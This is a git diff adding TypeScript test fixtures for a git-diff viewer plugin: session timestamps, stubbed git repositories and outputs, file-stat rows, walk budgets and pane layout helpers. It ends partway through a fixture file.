+++ b/mods/diff/tests/fixtures/datings-of/root-only-budget.ts
@@ -0,0 +1,4 @@
+/**
+ * A kind-walk budget that lists the repository root and nothing under it.
+ */
+export const ROOT_ONLY_BUDGET = 1
diff --git a/mods/diff/tests/fixtures/datings-of/tracked-row.ts b/mods/diff/tests/fixtures/datings-of/tracked-row.ts
new file mode 100644
index 00000000..2abef6ca
--- /dev/null
+++ b/mods/diff/tests/fixtures/datings-of/tracked-row.ts
@@ -0,0 +1,14 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * One row under git, a directory deep: past what a root-only walk lists.
+ */
+export const TRACKED_ROW: Git.FileStat = {
+ path: 'deep/x.ts',
+ renamedFrom: null,
+ added: 1,
+ removed: 0,
+ isBinary: false,
+ isUntracked: false,
+ isPreSession: false,
+}
diff --git a/mods/diff/tests/fixtures/datings-of/two-listings-budget.ts b/mods/diff/tests/fixtures/datings-of/two-listings-budget.ts
new file mode 100644
index 00000000..a6297b7a
--- /dev/null
+++ b/mods/diff/tests/fixtures/datings-of/two-listings-budget.ts
@@ -0,0 +1,4 @@
+/**
+ * A kind-walk budget spent after the root and one directory under it.
+ */
+export const TWO_LISTINGS_BUDGET = 2
diff --git a/mods/diff/tests/fixtures/edit-patch-of.ts b/mods/diff/tests/fixtures/edit-patch-of.ts
new file mode 100644
index 00000000..b6fff5a1
--- /dev/null
+++ b/mods/diff/tests/fixtures/edit-patch-of.ts
@@ -0,0 +1,12 @@
+/**
+ * An Edit tool's result record holding one hunk of one file.
+ *
+ * @param lines the hunk's lines, `-`/`+`/space prefixed
+ * @returns the record as the transcript stores it
+ */
+export const editPatchOf = (lines: string[]) => ({
+ filePath: '/r/a.ts',
+ structuredPatch: [
+ { oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines },
+ ],
+})
diff --git a/mods/diff/tests/fixtures/fetch-diff/before-session-ms.ts b/mods/diff/tests/fixtures/fetch-diff/before-session-ms.ts
new file mode 100644
index 00000000..b3d0ccad
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/before-session-ms.ts
@@ -0,0 +1,5 @@
+/**
+ * An mtime that predates GIT_SESSION_START_MS: a file last touched before
+ * the session.
+ */
+export const BEFORE_SESSION_MS = 500
diff --git a/mods/diff/tests/fixtures/fetch-diff/deep-directories.ts b/mods/diff/tests/fixtures/fetch-diff/deep-directories.ts
new file mode 100644
index 00000000..face29f9
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/deep-directories.ts
@@ -0,0 +1,5 @@
+/**
+ * How many top-level directories, each with a nested one, the wide layout
+ * case lists and dates.
+ */
+export const DEEP_DIRECTORIES = 100
diff --git a/mods/diff/tests/fixtures/fetch-diff/during-session-ms.ts b/mods/diff/tests/fixtures/fetch-diff/during-session-ms.ts
new file mode 100644
index 00000000..020ce7a9
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/during-session-ms.ts
@@ -0,0 +1,4 @@
+/**
+ * An mtime past GIT_SESSION_START_MS: a file touched this session.
+ */
+export const DURING_SESSION_MS = 2_000
diff --git a/mods/diff/tests/fixtures/fetch-diff/fetch-repository.ts b/mods/diff/tests/fixtures/fetch-diff/fetch-repository.ts
new file mode 100644
index 00000000..196686ee
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/fetch-repository.ts
@@ -0,0 +1,10 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * The repository the fetch cases run in: a plain checkout at `/repo`.
+ */
+export const FETCH_REPOSITORY: Git.Repository = {
+ toplevel: '/repo',
+ gitDir: '/repo/.git',
+ commonDir: '/repo/.git',
+}
diff --git a/mods/diff/tests/fixtures/fetch-diff/files-listing.ts b/mods/diff/tests/fixtures/fetch-diff/files-listing.ts
new file mode 100644
index 00000000..87be2ffc
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/files-listing.ts
@@ -0,0 +1,18 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * What the working tree lists as: the files the cases name are plain
+ * files; the link, the leak and the submodule are something else.
+ */
+export const FILES_LISTING: readonly (readonly [string, Git.EntryKind])[] = [
+ ['old.ts', 'file'],
+ ['new.ts', 'file'],
+ ['scratch.txt', 'file'],
+ ['stale.txt', 'file'],
+ ['fresh.txt', 'file'],
+ ['a.ts', 'file'],
+ ['staged.ts', 'file'],
+ ['link.ts', 'other'],
+ ['leak', 'other'],
+ ['sub', 'other'],
+]
diff --git a/mods/diff/tests/fixtures/fetch-diff/git-session-start-ms.ts b/mods/diff/tests/fixtures/fetch-diff/git-session-start-ms.ts
new file mode 100644
index 00000000..21a9a01a
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/git-session-start-ms.ts
@@ -0,0 +1,5 @@
+/**
+ * When the session began, for the git cases that date files against it by
+ * hand-picked mtimes.
+ */
+export const GIT_SESSION_START_MS = 1_000
diff --git a/mods/diff/tests/fixtures/fetch-diff/index.ts b/mods/diff/tests/fixtures/fetch-diff/index.ts
new file mode 100644
index 00000000..b0aa8f77
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/index.ts
@@ -0,0 +1,12 @@
+export * from './before-session-ms.js'
+export * from './deep-directories.js'
+export * from './during-session-ms.js'
+export * from './fetch-repository.js'
+export * from './files-listing.js'
+export * from './git-session-start-ms.js'
+export * from './merge-head-linked.js'
+export * from './merging.js'
+export * from './one-staged.js'
+export * from './vs-head.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/fetch-diff/merge-head-linked.ts b/mods/diff/tests/fixtures/fetch-diff/merge-head-linked.ts
new file mode 100644
index 00000000..1fa09ade
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/merge-head-linked.ts
@@ -0,0 +1,8 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A git dir listing whose MERGE_HEAD is a symbolic link, so no merge is in
+ * progress as far as the fetch is concerned.
+ */
+export const MERGE_HEAD_LINKED: readonly (readonly [string, Git.EntryKind])[] =
+ [['MERGE_HEAD', 'other']]
diff --git a/mods/diff/tests/fixtures/fetch-diff/merging.ts b/mods/diff/tests/fixtures/fetch-diff/merging.ts
new file mode 100644
index 00000000..26817f62
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/merging.ts
@@ -0,0 +1,8 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A git dir listing mid-merge: MERGE_HEAD is a plain file.
+ */
+export const MERGING: readonly (readonly [string, Git.EntryKind])[] = [
+ ['MERGE_HEAD', 'file'],
+]
diff --git a/mods/diff/tests/fixtures/fetch-diff/one-staged.ts b/mods/diff/tests/fixtures/fetch-diff/one-staged.ts
new file mode 100644
index 00000000..77bdbcf8
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/one-staged.ts
@@ -0,0 +1,4 @@
+/**
+ * A shortstat line for one staged file of three insertions.
+ */
+export const ONE_STAGED = ' 1 file changed, 3 insertions(+)'
diff --git a/mods/diff/tests/fixtures/fetch-diff/vs-head.ts b/mods/diff/tests/fixtures/fetch-diff/vs-head.ts
new file mode 100644
index 00000000..55870520
--- /dev/null
+++ b/mods/diff/tests/fixtures/fetch-diff/vs-head.ts
@@ -0,0 +1,5 @@
+/**
+ * The argv fragment of the diff against HEAD, to script it as failing.
+ */
+export const VS_HEAD =
+ 'diff.relative=false diff --ignore-submodules=dirty --submodule=short HEAD'
diff --git a/mods/diff/tests/fixtures/git-in.ts b/mods/diff/tests/fixtures/git-in.ts
index 49e6ff7e..1a63b69f 100644
--- a/mods/diff/tests/fixtures/git-in.ts
+++ b/mods/diff/tests/fixtures/git-in.ts
@@ -4,15 +4,22 @@ import { NOT_A_REPOSITORY } from './not-a-repository.js'
import { REPOSITORY } from './repository.js'
/**
- * What git answers in /work (REPOSITORY); an invocation it does not know
- * fails as git does outside a repository.
+ * What git answers from a script of outputs by command-line key, REPOSITORY
+ * when none is given.
+ *
+ * An invocation the script does not know fails as git does outside a
+ * repository.
*
* @param argv the invocation, program first
+ * @param script git's output for each invocation whose line holds the key
* @returns git's exit code and output
*/
-export function gitIn(argv: readonly string[]): ProcessRunResult {
+export function gitIn(
+ argv: readonly string[],
+ script: Readonly<Record<string, string>> = REPOSITORY,
+): ProcessRunResult {
const line = argv.join(' ')
- const found = Object.entries(REPOSITORY).find(([key]) => line.includes(key))
+ const found = Object.entries(script).find(([key]) => line.includes(key))
return found
? { exitCode: 0, stdout: found[1], stderr: '' }
diff --git a/mods/diff/tests/fixtures/head-key-of/head-sha.ts b/mods/diff/tests/fixtures/head-key-of/head-sha.ts
new file mode 100644
index 00000000..6c6ba971
--- /dev/null
+++ b/mods/diff/tests/fixtures/head-key-of/head-sha.ts
@@ -0,0 +1,4 @@
+/**
+ * What the scripted `rev-parse` answers when the key falls back to git.
+ */
+export const HEAD_SHA = '0123456789abcdef0123456789abcdef01234567'
diff --git a/mods/diff/tests/fixtures/head-key-of/index.ts b/mods/diff/tests/fixtures/head-key-of/index.ts
new file mode 100644
index 00000000..302a81c7
--- /dev/null
+++ b/mods/diff/tests/fixtures/head-key-of/index.ts
@@ -0,0 +1,4 @@
+export * from './head-sha.js'
+export * from './stamp.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/head-key-of/stamp.ts b/mods/diff/tests/fixtures/head-key-of/stamp.ts
new file mode 100644
index 00000000..dc525880
--- /dev/null
+++ b/mods/diff/tests/fixtures/head-key-of/stamp.ts
@@ -0,0 +1,4 @@
+/**
+ * The mtime every stat in the HEAD-key cases answers.
+ */
+export const STAMP = 42
diff --git a/mods/diff/tests/fixtures/header-totals-of/index.ts b/mods/diff/tests/fixtures/header-totals-of/index.ts
new file mode 100644
index 00000000..df4097e0
--- /dev/null
+++ b/mods/diff/tests/fixtures/header-totals-of/index.ts
@@ -0,0 +1,8 @@
+export * from './past-cap-count.js'
+export * from './pre-session-row.js'
+export * from './reported-count.js'
+export * from './session-row.js'
+export * from './stored-count.js'
+export * from './test-row.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/header-totals-of/past-cap-count.ts b/mods/diff/tests/fixtures/header-totals-of/past-cap-count.ts
new file mode 100644
index 00000000..608fa83d
--- /dev/null
+++ b/mods/diff/tests/fixtures/header-totals-of/past-cap-count.ts
@@ -0,0 +1,5 @@
+/**
+ * A reported file count past the row cap: ten files git counted but the
+ * model never stored.
+ */
+export const PAST_CAP_COUNT = 60
diff --git a/mods/diff/tests/fixtures/header-totals-of/pre-session-row.ts b/mods/diff/tests/fixtures/header-totals-of/pre-session-row.ts
new file mode 100644
index 00000000..33a15b43
--- /dev/null
+++ b/mods/diff/tests/fixtures/header-totals-of/pre-session-row.ts
@@ -0,0 +1,14 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A file last changed before the session: its lines leave the header.
+ */
+export const PRE_SESSION_ROW: Git.FileStat = {
+ path: 'old.ts',
+ renamedFrom: null,
+ added: 5,
+ removed: 1,
+ isBinary: false,
+ isUntracked: false,
+ isPreSession: true,
+}
diff --git a/mods/diff/tests/fixtures/header-totals-of/reported-count.ts b/mods/diff/tests/fixtures/header-totals-of/reported-count.ts
new file mode 100644
index 00000000..f8996fe3
--- /dev/null
+++ b/mods/diff/tests/fixtures/header-totals-of/reported-count.ts
@@ -0,0 +1,4 @@
+/**
+ * The file count git reported, two more than the rows stored.
+ */
+export const REPORTED_COUNT = 4
diff --git a/mods/diff/tests/fixtures/header-totals-of/session-row.ts b/mods/diff/tests/fixtures/header-totals-of/session-row.ts
new file mode 100644
index 00000000..95606d05
--- /dev/null
+++ b/mods/diff/tests/fixtures/header-totals-of/session-row.ts
@@ -0,0 +1,14 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A source file changed this session: three added, one removed.
+ */
+export const SESSION_ROW: Git.FileStat = {
+ path: 'src/a.ts',
+ renamedFrom: null,
+ added: 3,
+ removed: 1,
+ isBinary: false,
+ isUntracked: false,
+ isPreSession: false,
+}
diff --git a/mods/diff/tests/fixtures/header-totals-of/stored-count.ts b/mods/diff/tests/fixtures/header-totals-of/stored-count.ts
new file mode 100644
index 00000000..5600b803
--- /dev/null
+++ b/mods/diff/tests/fixtures/header-totals-of/stored-count.ts
@@ -0,0 +1,4 @@
+/**
+ * How many rows the model stored in the past-the-cap case.
+ */
+export const STORED_COUNT = 50
diff --git a/mods/diff/tests/fixtures/header-totals-of/test-row.ts b/mods/diff/tests/fixtures/header-totals-of/test-row.ts
new file mode 100644
index 00000000..5e9516a3
--- /dev/null
+++ b/mods/diff/tests/fixtures/header-totals-of/test-row.ts
@@ -0,0 +1,14 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A test file changed this session, which the partition counts as noise.
+ */
+export const TEST_ROW: Git.FileStat = {
+ path: 'test/a.test.ts',
+ renamedFrom: null,
+ added: 3,
+ removed: 1,
+ isBinary: false,
+ isUntracked: false,
+ isPreSession: false,
+}
diff --git a/mods/diff/tests/fixtures/hint-at.ts b/mods/diff/tests/fixtures/hint-at.ts
new file mode 100644
index 00000000..4f0e0b96
--- /dev/null
+++ b/mods/diff/tests/fixtures/hint-at.ts
@@ -0,0 +1,15 @@
+import type { RenderInput } from 'claude-code'
+
+import { HINT } from './hint.js'
+
+/**
+ * The prompt's hint on a terminal so many columns wide: drawing it is how
+ * the plugin learns the width.
+ *
+ * @param columns the terminal's width
+ * @returns the `ui.render` input
+ */
+export const hintAt = (columns: number): RenderInput<'PromptHint'> => ({
+ ...HINT,
+ viewport: { columns, rows: HINT.viewport?.rows ?? columns },
+})
diff --git a/mods/diff/tests/fixtures/in-repository.ts b/mods/diff/tests/fixtures/in-repository.ts
index fa27ed2b..1c123936 100644
--- a/mods/diff/tests/fixtures/in-repository.ts
+++ b/mods/diff/tests/fixtures/in-repository.ts
@@ -4,19 +4,29 @@ import { mock } from 'claude-code/testing'
import { gitIn } from './git-in.js'
import { HINT_DRAWN } from './hint-drawn.js'
import { keeping } from './keeping.js'
+import { REPOSITORY } from './repository.js'
import { startsSession } from './starts-session.js'
/**
- * A session in /work (REPOSITORY), keeping each git run and each pane
- * opened or closed.
+ * A session in a repository git answers for from a script (REPOSITORY, in
+ * /work, when none is given), keeping what the plugin does there.
*
- * The store starts empty, the clock at 0, and the engine draws the hint.
+ * Kept: each git run, pane opened or closed, and status line. The clock
+ * starts at 0 and the engine draws the hint. A test that rewrites the
+ * script between calls changes what git answers next.
*
* @param on the test's `on`
- * @returns the runs, the panes opened and closed, and the session's clock
+ * @param script git's output for each invocation whose line holds the key
+ * @param stored what the plugin's store holds at the start
+ * @returns the runs, the panes opened and closed, the statuses, the clock
*/
-export function inRepository(on: On) {
+export function inRepository(
+ on: On,
+ script: Readonly<Record<string, string>> = REPOSITORY,
+ stored: Readonly<Record<string, unknown>> = {},
+) {
const runs: Args<'process.run'>[] = []
+ const statuses: (string | undefined)[] = []
const opened = keeping<Args<'ui.open'>>()
const closed = keeping<Args<'ui.close'>>()
const clock = startsSession(on)
@@ -24,7 +34,13 @@ export function inRepository(on: On) {
on('process.run', ($, e) => {
runs.push(e)
- return { value: gitIn(e.argv) }
+ return { value: gitIn(e.argv, script) }
+ })
+
+ on('ui.status', ($, e) => {
+ statuses.push(e.text)
+
+ return { value: undefined }
})
on('ui.open', opened.hook)
@@ -32,7 +48,7 @@ export function inRepository(on: On) {
on('ui.invalidate', () => ({ value: undefined }))
on('ui.render', { component: 'PromptHint' }, () => HINT_DRAWN)
on('session.messages', () => ({ value: [] }))
- mock.store(on)
+ mock.store(on, stored)
- return { runs, opened: opened.kept, closed: closed.kept, clock }
+ return { runs, opened: opened.kept, closed: closed.kept, statuses, clock }
}
diff --git a/mods/diff/tests/fixtures/index.ts b/mods/diff/tests/fixtures/index.ts
index 72d50c73..4a0a76ec 100644
--- a/mods/diff/tests/fixtures/index.ts
+++ b/mods/diff/tests/fixtures/index.ts
@@ -1,18 +1,44 @@
+export * from './ask'
+export * from './backend-of'
+export * from './base-label-of'
+export * from './big-lines.js'
+export * from './branch-base-of'
export * from './builtin-holds.js'
+export * from './checkout.js'
export * from './clear.js'
+export * from './code-blocks-of'
+export * from './datings-of'
export * from './diff.js'
+export * from './edit-patch-of.js'
+export * from './fetch-diff'
export * from './git-hung.js'
export * from './git-in.js'
+export * from './head-key-of'
+export * from './header-totals-of'
export * from './hint.js'
+export * from './hint-at.js'
export * from './hint-drawn.js'
export * from './in-repository.js'
export * from './keeping.js'
+export * from './kind-walk-of'
+export * from './no-stats.js'
export * from './not-a-repository.js'
export * from './pane.js'
+export * from './pane-view'
+export * from './parse-file-diff'
export * from './repository.js'
+export * from './repository-of'
+export * from './scripted'
export * from './session.js'
export * from './settle-ms.js'
export * from './starts-session.js'
-export * from './text-of.js'
+export * from './todo-write-of.js'
+export * from './tree'
+export * from './truncate-start'
+export * from './turn-diffs-of'
+export * from './typed-prompt-of.js'
+export * from './vs-main.js'
+export * from './worktree'
+export * from './wrapped-lines'
export * as default from '.'
diff --git a/mods/diff/tests/fixtures/kind-walk-of/index.ts b/mods/diff/tests/fixtures/kind-walk-of/index.ts
new file mode 100644
index 00000000..15e85492
--- /dev/null
+++ b/mods/diff/tests/fixtures/kind-walk-of/index.ts
@@ -0,0 +1,4 @@
+export * from './walk-budget.js'
+export * from './walk-depth.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/kind-walk-of/walk-budget.ts b/mods/diff/tests/fixtures/kind-walk-of/walk-budget.ts
new file mode 100644
index 00000000..4b04d075
--- /dev/null
+++ b/mods/diff/tests/fixtures/kind-walk-of/walk-budget.ts
@@ -0,0 +1,4 @@
+/**
+ * How many directory listings the kind walk may spend.
+ */
+export const WALK_BUDGET = 8
diff --git a/mods/diff/tests/fixtures/kind-walk-of/walk-depth.ts b/mods/diff/tests/fixtures/kind-walk-of/walk-depth.ts
new file mode 100644
index 00000000..a4c3c066
--- /dev/null
+++ b/mods/diff/tests/fixtures/kind-walk-of/walk-depth.ts
@@ -0,0 +1,4 @@
+/**
+ * The depth of the path that outruns any listing budget.
+ */
+export const WALK_DEPTH = 50_000
diff --git a/mods/diff/tests/fixtures/no-stats.ts b/mods/diff/tests/fixtures/no-stats.ts
new file mode 100644
index 00000000..95c0940d
--- /dev/null
+++ b/mods/diff/tests/fixtures/no-stats.ts
@@ -0,0 +1,10 @@
+import type Git from '../../hooks/git'
+
+/**
+ * The totals of a diff with nothing in it.
+ */
+export const NO_STATS: Git.DiffStats = {
+ filesCount: 0,
+ linesAdded: 0,
+ linesRemoved: 0,
+}
diff --git a/mods/diff/tests/fixtures/pane-view/body-rows.ts b/mods/diff/tests/fixtures/pane-view/body-rows.ts
new file mode 100644
index 00000000..5a2aa9dc
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/body-rows.ts
@@ -0,0 +1,4 @@
+/**
+ * The pane's body rows in the ordinary cases: docked in a 40-row terminal.
+ */
+export const BODY_ROWS = 35
diff --git a/mods/diff/tests/fixtures/pane-view/builtin-headline-row.ts b/mods/diff/tests/fixtures/pane-view/builtin-headline-row.ts
new file mode 100644
index 00000000..a743b05f
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/builtin-headline-row.ts
@@ -0,0 +1,8 @@
+/**
+ * The panel row the built-in draws its empty headline on, docked in a
+ * 40-row terminal over one pre-session file.
+ *
+ * Its header's top pad, the close, the header's bottom pad, then half the
+ * spare rows.
+ */
+export const BUILTIN_HEADLINE_ROW = 17
diff --git a/mods/diff/tests/fixtures/pane-view/columns.ts b/mods/diff/tests/fixtures/pane-view/columns.ts
new file mode 100644
index 00000000..af053bfe
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/columns.ts
@@ -0,0 +1,4 @@
+/**
+ * The pane's body width in the ordinary cases.
+ */
+export const COLUMNS = 60
diff --git a/mods/diff/tests/fixtures/pane-view/config-detail-of.ts b/mods/diff/tests/fixtures/pane-view/config-detail-of.ts
new file mode 100644
index 00000000..abc466cb
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/config-detail-of.ts
@@ -0,0 +1,20 @@
+import type Views from '../../../hooks/views'
+import { SMALL_BODY } from './small-body.js'
+
+/**
+ * A selected config file as the detail view takes it: untracked with no
+ * body read, or tracked with a small body ready.
+ *
+ * @param isUntracked whether the file is untracked
+ * @returns the detail model
+ */
+export const configDetailOf = (isUntracked: boolean): Views.DetailModel => ({
+ words: { untrackedNoteOf: () => ['New file not yet staged.'] },
+ path: 'src/app/config.ts',
+ renamedFrom: null,
+ isUntracked,
+ isBinary: false,
+ body: isUntracked ? null : SMALL_BODY,
+ bodyState: isUntracked ? 'idle' : 'ready',
+ isArmed: false,
+})
diff --git a/mods/diff/tests/fixtures/pane-view/cramped-rows.ts b/mods/diff/tests/fixtures/pane-view/cramped-rows.ts
new file mode 100644
index 00000000..65046410
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/cramped-rows.ts
@@ -0,0 +1,4 @@
+/**
+ * Body rows too few to center an empty state in, so it stacks from the top.
+ */
+export const CRAMPED_ROWS = 4
diff --git a/mods/diff/tests/fixtures/pane-view/docked-pane.ts b/mods/diff/tests/fixtures/pane-view/docked-pane.ts
new file mode 100644
index 00000000..16b92665
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/docked-pane.ts
@@ -0,0 +1,20 @@
+import type { On, RenderElement } from 'claude-code'
+import type { Engine } from 'claude-code/testing'
+
+import type PaneState from '../../../hooks/pane-state'
+import { docksPane } from './docks-pane.js'
+
+/**
+ * The pane docked beneath the plugin over one model, drawn once through the
+ * engine: the tree the engine took.
+ *
+ * @param $ the test's `$`
+ * @param on the test's `on`
+ * @param model the pane's model
+ * @returns the tree
+ */
+export const dockedPane = (
+ $: Engine,
+ on: On,
+ model: PaneState.PaneModel,
+): Promise<RenderElement> => docksPane($, on)(model)
diff --git a/mods/diff/tests/fixtures/pane-view/docks-pane.ts b/mods/diff/tests/fixtures/pane-view/docks-pane.ts
new file mode 100644
index 00000000..b78b0323
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/docks-pane.ts
@@ -0,0 +1,35 @@
+import type { On, RenderElement } from 'claude-code'
+import type { Engine } from 'claude-code/testing'
+
+import PaneState from '../../../hooks/pane-state'
+import Views from '../../../hooks/views'
+import { drawsPane } from './draws-pane.js'
+import { VIEW_PANE } from './view-pane.js'
+
+/**
+ * The pane docked beneath the plugin over whichever model the test hands
+ * next.
+ *
+ * Each call draws VIEW_PANE through the engine with `paneView` over that
+ * model and answers the tree the engine took.
+ *
+ * @param $ the test's `$`
+ * @param on the test's `on`
+ * @param overrides kit members that differ from the ordinary ones
+ * @returns draws the pane over a model
+ */
+export function docksPane(
+ $: Engine,
+ on: On,
+ overrides: Partial<Omit<Views.Kit, 'ui'>> = {},
+): (model: PaneState.PaneModel) => Promise<RenderElement> {
+ let model = PaneState.INITIAL_MODEL
+
+ drawsPane(on, kit => Views.paneView(kit, model, 'dock'), overrides)
+
+ return next => {
+ model = next
+
+ return $.ui.render(VIEW_PANE)
+ }
+}
diff --git a/mods/diff/tests/fixtures/pane-view/draws-pane.ts b/mods/diff/tests/fixtures/pane-view/draws-pane.ts
new file mode 100644
index 00000000..384b6ed9
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/draws-pane.ts
@@ -0,0 +1,39 @@
+import type { On, RenderElement } from 'claude-code'
+
+import { isOnPaneSurface } from '../../../hooks/is-on-pane-surface'
+import type Views from '../../../hooks/views'
+import { BODY_ROWS } from './body-rows.js'
+import { COLUMNS } from './columns.js'
+import { noopActionsOf } from './noop-actions-of.js'
+
+/**
+ * Draws a pane beneath the plugin with a view of the test's, handed the kit
+ * every view takes.
+ *
+ * The hook resolves the surface's elements; the body size is the view
+ * fixtures' and the actions do nothing, unless overridden.
+ *
+ * @param on the test's `on`
+ * @param view draws the tree from the kit
+ * @param overrides kit members that differ from the ordinary ones
+ */
+export const drawsPane = (
+ on: On,
+ view: (kit: Views.Kit) => RenderElement,
+ overrides: Partial<Omit<Views.Kit, 'ui'>> = {},
+) =>
+ on('ui.render', { component: 'Pane' }, async ($, e, next) => {
+ if (!isOnPaneSurface(e)) {
+ return next(e)
+ }
+
+ const { Box, Text, Button, Select, Code } = await $.ui.resolve(e)
+
+ return view({
+ ui: { Box, Text, Button, Select, Code },
+ actions: noopActionsOf(),
+ columns: COLUMNS,
+ rows: BODY_ROWS,
+ ...overrides,
+ })
+ })
diff --git a/mods/diff/tests/fixtures/pane-view/index.ts b/mods/diff/tests/fixtures/pane-view/index.ts
new file mode 100644
index 00000000..0e863ff3
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/index.ts
@@ -0,0 +1,23 @@
+export * from './body-rows.js'
+export * from './builtin-headline-row.js'
+export * from './columns.js'
+export * from './config-detail-of.js'
+export * from './cramped-rows.js'
+export * from './docked-pane.js'
+export * from './docks-pane.js'
+export * from './draws-pane.js'
+export * from './long-line-chars.js'
+export * from './long-path-segments.js'
+export * from './noop.js'
+export * from './noop-actions-of.js'
+export * from './row-of.js'
+export * from './row-shape-of.js'
+export * from './row-shapes-of.js'
+export * from './small-body.js'
+export * from './totals.js'
+export * from './tracked.js'
+export * from './turn-two.js'
+export * from './view-pane.js'
+export * from './vs-spoofed.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/pane-view/long-line-chars.ts b/mods/diff/tests/fixtures/pane-view/long-line-chars.ts
new file mode 100644
index 00000000..c5576549
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/long-line-chars.ts
@@ -0,0 +1,5 @@
+/**
+ * How long each line of the budget case runs: four hundred of them outgrow
+ * the body's character budget.
+ */
+export const LONG_LINE_CHARS = 300
diff --git a/mods/diff/tests/fixtures/pane-view/long-path-segments.ts b/mods/diff/tests/fixtures/pane-view/long-path-segments.ts
new file mode 100644
index 00000000..e3816370
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/long-path-segments.ts
@@ -0,0 +1,5 @@
+/**
+ * How many directory segments make a selected path longer than the engine
+ * allows one string to be.
+ */
+export const LONG_PATH_SEGMENTS = 2_500
diff --git a/mods/diff/tests/fixtures/pane-view/noop-actions-of.ts b/mods/diff/tests/fixtures/pane-view/noop-actions-of.ts
new file mode 100644
index 00000000..6ae384d2
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/noop-actions-of.ts
@@ -0,0 +1,17 @@
+import type Views from '../../../hooks/views'
+import { noop } from './noop.js'
+
+/**
+ * Pane actions that each do nothing, for a tree drawn only to be read.
+ *
+ * @returns the actions
+ */
+export const noopActionsOf = (): Views.PaneActions => ({
+ selectFile: noop,
+ toggleNoise: noop,
+ togglePreSession: noop,
+ chooseBase: noop,
+ chooseSource: noop,
+ toggleAsk: noop,
+ close: noop,
+})
diff --git a/mods/diff/tests/fixtures/pane-view/noop.ts b/mods/diff/tests/fixtures/pane-view/noop.ts
new file mode 100644
index 00000000..15cde3bd
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/noop.ts
@@ -0,0 +1,7 @@
+/**
+ * An action that does nothing, for a view whose actions a case never
+ * presses.
+ *
+ * @returns undefined
+ */
+export const noop = () => undefined
diff --git a/mods/diff/tests/fixtures/pane-view/row-of.ts b/mods/diff/tests/fixtures/pane-view/row-of.ts
new file mode 100644
index 00000000..7125e40c
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/row-of.ts
@@ -0,0 +1,22 @@
+import type Git from '../../../hooks/git'
+import { TRACKED } from './tracked.js'
+
+/**
+ * A file row at a path: two added, one removed, tracked and in session,
+ * unless the overrides say otherwise.
+ *
+ * @param path the row's path
+ * @param overrides fields that differ from the ordinary row
+ * @returns the row
+ */
+export const rowOf = (
+ path: string,
+ overrides: Partial<Git.FileStat> = {},
+): Git.FileStat => ({
+ path,
+ renamedFrom: null,
+ added: 2,
+ removed: 1,
+ ...TRACKED,
+ ...overrides,
+})
diff --git a/mods/diff/tests/fixtures/pane-view/row-shape-of.ts b/mods/diff/tests/fixtures/pane-view/row-shape-of.ts
new file mode 100644
index 00000000..62a44c74
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/row-shape-of.ts
@@ -0,0 +1,18 @@
+import Tree from '../tree'
+
+/**
+ * A pane row as the layout tests read it: `blank` for a bare one-row Box,
+ * `rule` for a line of rule characters, else its first label or its strings.
+ *
+ * @param node a row of the pane's body
+ * @returns the row's shape
+ */
+export function rowShapeOf(node: unknown) {
+ const text = Tree.jsonOf(node)
+ const strings = Tree.stringsOf(node).join('')
+ const label = /"label":"([^"]*)"/.exec(text)?.[1]
+ const isBlank = text === '{"type":"Box","props":{"height":1}}'
+ const isRule = /^─+$/.test(strings)
+
+ return isBlank ? 'blank' : isRule ? 'rule' : (label ?? strings)
+}
diff --git a/mods/diff/tests/fixtures/pane-view/row-shapes-of.ts b/mods/diff/tests/fixtures/pane-view/row-shapes-of.ts
new file mode 100644
index 00000000..d3e78ef2
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/row-shapes-of.ts
@@ -0,0 +1,12 @@
+import Tree from '../tree'
+import { rowShapeOf } from './row-shape-of.js'
+
+/**
+ * The rows of a pane's body, top to bottom, each as the layout tests read
+ * it (rowShapeOf).
+ *
+ * @param tree the pane's tree, its body the first child
+ * @returns each row's shape
+ */
+export const rowShapesOf = (tree: unknown) =>
+ Tree.childrenOf(Tree.childrenOf(tree)[0]).map(rowShapeOf)
diff --git a/mods/diff/tests/fixtures/pane-view/small-body.ts b/mods/diff/tests/fixtures/pane-view/small-body.ts
new file mode 100644
index 00000000..29f5ebb7
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/small-body.ts
@@ -0,0 +1,11 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A one-hunk body with a context line, a removal and an addition: enough
